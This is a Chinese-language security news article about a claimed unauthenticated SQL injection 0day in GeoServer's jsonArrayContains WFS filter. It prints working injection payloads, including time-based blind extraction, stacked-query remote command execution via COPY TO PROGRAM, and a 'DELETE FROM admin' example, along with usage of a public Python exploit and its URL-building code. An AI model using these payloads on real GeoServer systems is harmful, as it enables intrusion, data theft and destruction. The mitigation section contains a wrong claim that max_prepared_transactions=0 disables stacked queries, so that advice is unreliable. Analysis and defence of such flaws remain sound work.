导语:又一个重量级 0day 曝光。安全研究人员“秋风”(@q1uf3ng)近日公开了 GeoServer 中 jsonArrayContains 函数的未授权 SQL注入 漏洞。攻击者无需任何认证,即可利用该漏洞注入恶意 SQL。在数据库为 PostgreSQL 且拥有 sa 权限的情况下,可直接实现远程代码执行(RCE)。目前已公布 Python PoC。
一、漏洞概述
本次披露的漏洞位于 GeoServer 的 WFS(Web Feature Service)接口中,具体出在 jsonArrayContains 函数的 CQL_FILTER 参数处理逻辑。
漏洞发现者“秋风”称,这是一个“0day”——官方发布前就被公开披露。它的特殊之处在于:
- 无需认证:攻击者无需任何凭据即可触发漏洞
- 攻击链清晰:SQL注入 → PostgreSQL RCE
- 影响面广:GeoServer 是开源 GIS(地理信息系统)平台,被全球众多组织和政府机构使用
二、漏洞原理
2.1 根本原因
漏洞核心出在 GeoTools 的 FilterToSqlHelper.constructEquality 方法。该方法在处理 jsonArrayContains 函数时,将 expected 参数值直接写入 SQL 字符串,而仅对 JSON pointer 做了转义:
jsonb_path_exists("data"::jsonb, '$ ? (@.a == "<VALUE>")')
其中 <VALUE> 就是 expected 参数的值。如果攻击者在 <VALUE> 中插入单引号,就能突破字符串字面量限制:
<VALUE> = x') AND (SELECT * FROM (SELECT pg_sleep(4)) a) IS NOT NULL --
最终拼接出的恶意 SQL:
jsonb_path_exists("data"::jsonb, '$ ? (@.a == "x') AND (SELECT * FROM (SELECT pg_sleep(4)) a) IS NOT NULL -- ")')
单引号提前封闭字符串字面量,后面的 SQL 代码得以执行。
2.2 请求示例
正常的 WFS GetFeature 请求:
http://target:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=jsonArrayContains("data",'/a','value')=true
恶意构造的注入请求,通过 CQL_FILTER 参数注入 SQL:
CQL_FILTER=jsonArrayContains("data",'/a','x'); SELECT pg_sleep(4) -- ')=true
2.3 影响条件
该漏洞的利用效果取决于后端数据库类型和权限配置:
| 数据库 |
利用条件 |
后果 |
| PostgreSQL(sa权限) |
启用堆叠查询(stacked queries) |
直接 RCE,通过 COPY TO PROGRAM 执行系统命令 |
| PostgreSQL(普通用户) |
启用堆叠查询 |
SQL注入(blind),可执行任意 SQL |
| PostgreSQL(任意用户) |
禁用预编译语句 |
盲注数据提取(时间盲注),无需 sa 权限 |
| 其他数据库 |
未测试 |
可能存在注入但无法 RCE |
三、PoC 分析
安全研究人员 portbuster1337 根据“秋风”公布的漏洞信息,开发了完整的 Python PoC 脚本,支持三种攻击模式。
3.1 工具参数说明
python3 jsonarraycontains_rce.py -i <目标IP> -p <端口> [选项]
必选参数(三选一):
-c CMD OS命令RCE(需要sa权限 + pg_execute_server_program)
-s "SQL" 执行任意SQL(blind,需要堆叠查询)
-x [TABLE] 盲注提取数据(即使禁用预编译语句也能用,无需sa权限)
可选参数:
-t TYPENAME WFS图层类型名(默认:vulhub:example)
-r PROPERTY json/jsonb列名(默认:data)
-l LIMIT -x模式最多提取行数(默认:3)
3.2 模式一:命令执行(RCE)
当 PostgreSQL 具有 sa 权限且启用堆叠查询时,可直接执行系统命令:
python3 jsonarraycontains_rce.py -i 192.168.1.100 -p 8080 -c "id > /tmp/o.txt"
注入的 SQL:
inject = "x') ; COPY (SELECT 1) TO PROGRAM 'id > /tmp/o.txt' -- "
3.3 模式二:SQL注入(blind)
执行任意 SQL 语句(INSERT/UPDATE/DELETE/DROP 等):
python3 jsonarraycontains_rce.py -i 192.168.1.100 -p 8080 -s "DELETE FROM admin"
3.4 模式三:盲注数据提取
即使禁用预编译语句,仍可通过时间延迟做数据提取:
# 提取数据库名和所有表名
python3 jsonarraycontains_rce.py -i 192.168.1.100 -p 8080 -x
# 提取指定表的列名和数据
python3 jsonarraycontains_rce.py -i 192.168.1.100 -p 8080 -x users -l 10
盲注原理:利用 pg_sleep() 结合二分查找,逐一猜测字符。
# 时间延迟验证条件是否为真
inject = "x') AND (SELECT * FROM (SELECT pg_sleep(CASE WHEN <条件> THEN 4 ELSE 0 END)) a) IS NOT NULL -- "
# 二分查找字符
cond = "ascii(substr((<表达式>),%d,1)) > %d" % (pos, mid)
3.5 核心代码片段
def build_cql(prop, inject):
# 仅对属性名转义,expected值直接拼接——漏洞根源
return 'jsonArrayContains("%s", \'/a\', \'%s\') = true' % (prop, cql_quote(inject))
def build_url(host, port, typename, cql):
params = {
"service": "wfs",
"version": "1.0.0",
"request": "GetFeature",
"typeName": typename,
"CQL_FILTER": cql,
}
return "http://%s:%s/geoserver/ows?%s" % (host, port, urllib.parse.urlencode(params))
四、漏洞时间线
| 时间 |
事件 |
| 2026-08-12 |
安全研究人员“秋风”在 Twitter 上公开披露该 0day |
| 2026-08-12 |
portbuster1337 根据漏洞原理发布 Python PoC |
| 2026-08-13 |
安全社区开始广泛讨论和验证 |
| 截至发稿 |
GeoServer 官方尚未发布官方安全公告和修复补丁 |
五、影响范围
GeoServer 是开源 GIS 服务器,被广泛应用于:
- 政府地理信息系统
- 智慧城市平台
- 土地利用规划系统
- 自然资源管理
- 军事/国防地理信息
截至目前,GeoServer 官方尚未发布该漏洞的 CVE 编号和修复版本。考虑到该漏洞已被公开披露且 PoC 已发布,预计官方将在近期发布安全公告。
六、修复与缓解
官方修复:等待 GeoServer 官方发布安全更新,建议关注官方安全公告。
临时缓解措施:
- 网络层隔离:限制 GeoServer 的公网暴露,仅允许受信任的 IP 访问
- WFS接口限制:在 Web 应用防火墙(WAF)或 API 网关上对
CQL_FILTER 参数进行严格过滤
- 数据库权限最小化:避免将 PostgreSQL 配置为 sa 权限运行 GeoServer 数据存储
- 禁用堆叠查询:在 PostgreSQL 中设置
max_prepared_transactions=0,但这可能影响应用功能
- 日志监控:重点关注包含单引号和 SQL 关键字的异常 WFS 请求
检测建议:
# 检查GeoServer版本
curl http://target:8080/geoserver/rest/about/version.json
# 检查WFS接口是否可访问
curl "http://target:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetCapabilities"
七、总结
本次“秋风”公开的 GeoServer jsonArrayContains SQL注入 0day,再次提醒我们:
- CQL_FILTER 不可信:用户输入的
CQL_FILTER 参数必须经过严格的输入验证
- 参数化查询的盲区:即使使用了参数化查询,如果参数直接拼接到字符串字面量中(如 JSON path),仍可能产生注入
- 数据库权限最小化:避免以 sa 权限运行应用数据库,将权限控制在最低需求
该漏洞的 PoC 已公开,建议使用 GeoServer 的组织尽快评估风险并采取缓解措施,同时密切关注官方安全更新。
版权声明:本文由华盟网原创发布,保留所有权利。